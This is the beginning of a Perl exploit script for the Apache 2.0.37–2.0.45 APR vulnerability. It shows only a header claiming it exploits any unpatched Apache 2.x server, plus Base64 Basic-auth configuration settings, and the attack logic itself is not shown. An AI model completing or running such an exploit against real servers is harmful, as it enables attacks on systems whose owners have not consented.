# Apache 2.0.37 - 2.0.45 APR Exploit
# Written By Matthew Murphy
#
# This Perl script will successfully exploit any un-patched Apache 2.x
# servers.
#

# Base64 Encoder
#
# If you want authentication with the server via HTTP's lame Basic
# auth, put the proper string to encode BASE64 content, and use
# '%s' to represent the credentials being encoded.  For instance:
#
# base64 %s
#
# would result in:
#
# base64 userid:password
#
# If your decoder requires you to use STDIN to pass the password
# (no pun intended), set $BASE64_USE_STDIN to nonzero and do not
# use '%s' on the command-line.
$BASE64_CMD_STRING = "use_base64_encoder_here %s";

# Base64 encoder piping
#
# If your encoder requires the password to be written to STDIN,
# set this to a nonzero value.  NOTE: This requires support for 
# bi-directional pipes on your OS version.
$BASE64_USE_STDIN = 0;

# Base64 encoder input handling
#
# If your encoder requires a newline after your credentials, 
# set this to your newline character.
